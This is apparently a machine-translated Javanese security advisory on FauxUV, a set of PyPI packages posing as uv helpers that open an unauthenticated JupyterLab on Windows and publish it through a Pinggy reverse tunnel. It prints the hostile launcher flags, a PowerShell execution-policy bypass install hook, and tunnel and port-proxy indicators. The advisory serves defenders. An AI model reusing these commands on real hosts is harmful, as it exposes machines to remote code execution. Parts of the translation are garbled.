TL; DR
Kluster paket PyPI njupuk jeneng saka uv, manajer paket Python berbasis Rust sing cepet lan populer banget, kanggo nyamar dadi pembantu uv. Meh ora ana fungsi nyata sing dikirim. Sing digawa yaiku muatan Windows sing bisa nahan Server JupyterLab kanthi otentikasi dipateni lan, ing versi sabanjure, nerbitake menyang internet umum liwat trowongan terbalik.
Kuwi critane kabeh ing sak baris: jeneng piranti sing dipercaya minangka umpan, lan JupyterLab minangka mesin eksekusi kode jarak jauh. Server Jupyter mbukak kode apa wae sing sampeyan ketik ing server sing oraebook sel; siji sing diluncurake nganggo token kosong lan kaiket ing saben antarmuka jaringan minangka interpreter terbuka sing bisa dikendhaleni dening sapa wae sing bisa tekan port kasebut.
Kita nglacak kluster kasebut minangka UV PalsuRong paket sing ditliti yaiku moon-uv (0.0.1-0.0.16) lan my-magic-uv-helper (0.0.1), diterbitake dening operator sing padha lan langsung ana ing PyPI nalika analisis.
| Ekosistem | PyPI |
| Packages | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platform sing ditargetake | Windows |
| Prilaku inti | Server JupyterLab sing ora diautentikasi, diterbitake menyang internet liwat trowongan terbalik |
| Piranti sing sah disalahgunakake | uv, JupyterLab, cloudflared, Pinggy |
Umpane: jeneng sing wis kokpercaya
uv minangka salah sawijining piranti Python sing paling akeh diinstal sajrone rong taun kepungkur, dadi "penolong kanggo uv"iku paket sing diinstal pangembang tanpa mikir kaping pindho. FauxUV nggunakake kredibilitase kabeh kanggo jeneng kasebut. Paket-paket kasebut mbungkus asli uv installer saka Astral — URL ing titik payload ing host sing nyata lan duwe reputasi apik — mula yen dideleng sekilas, ora ana sing katon kajaba referensi sing bisa dipercaya. Ora ana paket sing nambahake uv fungsi; jeneng iku kabeh penyamaran.
JupyterLab minangka mesin RCE
Pusat muatan kasebut yaiku peluncur sing miwiti JupyterLab kanthi saben pager dicopot:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Saben gendera ngilangake pangayoman, lan skrip sing dikirim malah menehi anotasi (ing basa Cina asli): token kosong "Mateni pamriksan sandhi lan token — sapa wae bisa nyambung." jupyter lab minangka IDE ilmu data sing sah, nanging duduebook sel nglakokake kode sembarang miturut desain. Dikonfigurasi kanthi cara iki lan kaiket menyang 0.0.0.0, iku ora maneh dadi IDE lan dadi shell remot sing ora diautentikasi ing host — ora perlu binar malware khusus, mung alat utama sing dituding salah.
Rong potongan pendukung ndadekake iku bisa digayuh lan bisa dibaleni:
- Pemicu instalasi sing meneng. Versi awal mbukak PowerShell nganggo -Nglewati Kebijakan Eksekusi langsung saka setup.py on nginstal pip, ing latar mburi kanthi kesalahan sing ditindhes supaya pip katon normal. Versi sabanjure mindhah primitif sing padha menyang pip-uv piranti baris perintah — lan mbusak kabeh wektu instalasi otomatis.
- Terowongan umum sing mbalikke. Server aktif 0.0.0.0 isih mung bisa dijangkau dening host sing bisa ngarahake menyang mesin. Modul sing dibundel mbukak [Pinggy](https://pinggy.io/) Terowongan mbalikke SSH sing nerusake port Jupyter lokal menyang alamat publik, mbusak watesan kasebut. Skrip sing dikirim uga nggawa — sing dikomentari — jalur alternatif nggunakake Cloudflare cloudflared lan netsh port-proxy menyang IP Linode, ndokumentasikake tujuan sing padha liwat infrastruktur sing beda.
Gawanen: instal paket kasebut, lan host Windows pungkasane mbukak JupyterLab tanpa sandhi lan nerbitake menyang internet sing mbukak.
Kepiye FauxUV berkembang
Versi FauxUV dikirim kanthi cepet, lan titik pemicu muatan obah ngliwati titik-titik kasebut — minangka pangeling yen siji versi sing ditandhani arang nyritakake kabeh crita babagan lini paket.
| training | versi | Pemicu | Apa sing ditambahake |
|---|---|---|---|
| Pengait instalasi | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py ing instalasi pipa | instalasi uv + PATH prepend |
| Wektu proses CLI | moon-uv 0.0.5-0.0.13 | pip-uv printah | peluncur JupyterLab tanpa sandhi |
| Tunnel | moon-uv 0.0.14-0.0.16 | pip-uv printah | trowongan terbalik Pinggy sing aktif |
Khususé, wektu instalasi otomatis mlaku iku dibusak ing versi sing luwih anyar lan luwih mumpuni — dadi pemindai mung dikunci ing siklus urip hooks bakal menehi skor rilis sing luwih anyar minangka kurang beboyo, persis mundur.
Indikator kompromi
Dikonfirmasi kanthi maca sumber paket; titik pungkasan ditandhani Nyuwun pangapunten ana ing file nanging ora dieksekusi dening versi sing dianalisis. Indikator jaringan wis ora ana fungsine.
| Koleksi | indikator |
|---|---|
| Perintah instalasi | powershell -ExecutionPolicy Bypass njupuk pemasang uv asli, nalika wektu instalasi pip |
| Gendéra JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Terowongan mundur (aktif) | free[.]pinggy[.]io:443 nerusake lokal 127.0.0.1:8888 |
| Host trowongan (dikomentari) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (wis dikomentari) | 45[.]79[.]134[.]161 (Linode) liwat netsh port-proxy |
| Kegiyatan | nyiapake %USERPROFILE%\.local\bin menyang PATH pangguna |
Sinyal-sinyal prilaku sing pantes dielingake, ora gumantung saka senar-senar iki: a nginstal pip sing ngasilake powershell -ExecutionPolicy Bypassapa wae jupyter peluncuran nggabungake token = "" karo –ip=0.0.0.0lan SSH metu menyang *.pinggy.io saka pangembang utawa mesin CI.
Prilaku lan asal-usul sing diamati
Rong paket kasebut nduweni penulis lan metode sing padha: jeneng alat sing dipercaya, gating khusus Windows, eksekusi latar mburi sing dicegah kesalahan, lan gumantung marang alat sing dipercaya saengga tampilan cepet mung bisa ndeleng URL sing dipercaya. Sumber kasebut nggawa komentar basa Cina sing nggambarake tandha-tandha sing relevan karo keamanan kanthi jelas; kita nglaporake kasebut minangka pernyataan sing bisa diamati ing file kasebut, dudu minangka klaim babagan motif. asal_ngidini nilai lan a colab.bat jeneng berkas nggambarake alur kerja informal "nuduhake runtime lokalku" sing nyebar kanggo Google Colab. Apa wae asale, asil sing dikemas padha.
Dampak lan pandhuan kanggo para pembela
Sapa sing kena sinar UV palsu. Para pangembang Windows lan pelari CI sing nginstal pip salah siji saka paket iki. JupyterLab tanpa sandhi ing 0.0.0.0 yaiku eksekusi kode jarak jauh kanggo sapa wae sing bisa tekan port; trowongan kasebut mbusak watesan "sapa sing bisa tekan". Server kasebut mlaku minangka pangguna sing nginstal, nurunake file, token, lan kredensial maya pangguna kasebut.
Kok gampang banget ilang. Saben string jaringan nuduhake host sing duwe reputasi apik — Astral, JupyterLab, cloudflared, Pinggy, Colab. Ora ana binar malware sing kudu di-hash lan ora ana blob sing dikaburkan sing kudu di-dekode. Pemindaian berbasis reputasi lan tanda tangan loro-lorone kurang nggatekake iki, mula pitakonan perilaku — Apa sing ditindakake mesin nalika nginstal paket iki? — yaiku sing nyekel.
Pandhuan:
- Nganggep sembarang wektu instalasi powershell -ExecutionPolicy Bypass minangka sinyal pemecah build-breaking, URL apa wae sing dijupuk.
- Bebaya aktif jupyter diluncurake nganggo token kosong lan –ip=0.0.0.0; kombinasi kasebut ora kena katon ing workstation utawa runner.
- Monitor panyedhiya SSH menyang terowongan sing metu (*.pinggy.io, *.trycloudflare.com) saka lingkungan pangembang lan CI.
- nginstal uv saka [sumber resmi](https://docs.astral.sh/uv/) lan dadi skeptis karo paket "pembantu" pihak katelu sing mbungkus alat sing wis gampang diinstal.
- Semat lan tinjau maneh dependensi nalika nganyarke — lini paket bisa ngembangake kemampuan anyar versi-liwat-versi.



